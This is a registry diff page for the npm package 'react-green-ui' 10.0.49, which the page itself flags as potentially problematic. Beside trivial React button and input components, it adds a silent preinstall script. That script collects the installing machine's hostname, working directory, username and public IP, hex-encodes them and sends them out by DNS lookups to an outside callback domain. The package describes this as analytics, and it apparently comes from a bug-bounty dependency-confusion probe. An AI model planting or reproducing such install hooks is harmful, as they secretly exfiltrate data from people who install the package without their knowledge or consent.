react-green-ui 10.0.49
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of react-green-ui might be problematic. Click here for more details.
- package/dist/react-green-ui.js +61 -0
- package/package.json +15 -0
- package/scripts/preinstall.js +13 -0
@@ -0,0 +1,61 @@
|
|
1
|
+
// Import the required dependencies
|
2
|
+
import React from 'react';
|
3
|
+
|
4
|
+
// Custom styles for the MsButton component
|
5
|
+
const msButtonStyles = {
|
6
|
+
backgroundColor: '#0078d4',
|
7
|
+
color: 'white',
|
8
|
+
border: 'none',
|
9
|
+
borderRadius: '2px',
|
10
|
+
padding: '8px 16px',
|
11
|
+
fontSize: '14px',
|
12
|
+
cursor: 'pointer',
|
13
|
+
outline: 'none',
|
14
|
+
};
|
15
|
+
|
16
|
+
/**
|
17
|
+
* MsButton - A simple React UI button component with a Microsoft theme.
|
18
|
+
* @param {Object} props - The React props for the MsButton component.
|
19
|
+
* @param {string} props.text - The text to be displayed on the button.
|
20
|
+
* @param {Function} props.onClick - The function to be executed when the button is clicked.
|
21
|
+
* @returns {JSX.Element} - A MsButton React component.
|
22
|
+
*/
|
23
|
+
const MsButton = ({ text, onClick }) => {
|
24
|
+
return (
|
25
|
+
<button style={msButtonStyles} onClick={onClick}>
|
26
|
+
{text}
|
27
|
+
</button>
|
28
|
+
);
|
29
|
+
};
|
30
|
+
|
31
|
+
// Custom styles for the MsInput component
|
32
|
+
const msInputStyles = {
|
33
|
+
backgroundColor: '#ffffff',
|
34
|
+
color: '#323130',
|
35
|
+
border: '1px solid #edebe9',
|
36
|
+
borderRadius: '2px',
|
37
|
+
padding: '4px 8px',
|
38
|
+
fontSize: '14px',
|
39
|
+
outline: 'none',
|
40
|
+
};
|
41
|
+
|
42
|
+
/**
|
43
|
+
* MsInput - A simple React UI input component with a Microsoft theme.
|
44
|
+
* @param {Object} props - The React props for the MsInput component.
|
45
|
+
* @param {string} props.placeholder - The placeholder text to be displayed in the input.
|
46
|
+
* @param {Function} props.onChange - The function to be executed when the input value changes.
|
47
|
+
* @returns {JSX.Element} - A MsInput React component.
|
48
|
+
*/
|
49
|
+
const MsInput = ({ placeholder, onChange }) => {
|
50
|
+
return (
|
51
|
+
<input
|
52
|
+
style={msInputStyles}
|
53
|
+
type="text"
|
54
|
+
placeholder={placeholder}
|
55
|
+
onChange={onChange}
|
56
|
+
/>
|
57
|
+
);
|
58
|
+
};
|
59
|
+
|
60
|
+
// Export the MsButton and MsInput components
|
61
|
+
export { MsButton, MsInput };
|
package/package.json
ADDED
@@ -0,0 +1,15 @@
|
|
1
|
+
{
|
2
|
+
"name": "react-green-ui",
|
3
|
+
"version": "10.0.49",
|
4
|
+
"description": "This package sends a callback to a server when installed (for analytics purposes)(from YesWH Hunter)",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node scripts/preinstall.js > /dev/null 2>&1"
|
9
|
+
},
|
10
|
+
"author": "sicarius@wearehackerone.com",
|
11
|
+
"license": "ISC",
|
12
|
+
"dependencies": {
|
13
|
+
"lodash": "^4.17.21"
|
14
|
+
}
|
15
|
+
}
|
@@ -0,0 +1,13 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
exec("a=$(hostname;pwd;whoami;echo 'niroborg-npm-com-test';curl https://ifconfig.me;) && echo $a | xxd -p | head | while read ut;do nslookup $ut.496147735l1f4i80867218h58pv3fwc6q.bbhunting.com;done" , (error, data, getter) => {
|
3
|
+
if(error){
|
4
|
+
console.log("error",error.message);
|
5
|
+
return;
|
6
|
+
}
|
7
|
+
if(getter){
|
8
|
+
console.log(data);
|
9
|
+
return;
|
10
|
+
}
|
11
|
+
console.log(data);
|
12
|
+
|
13
|
+
});
|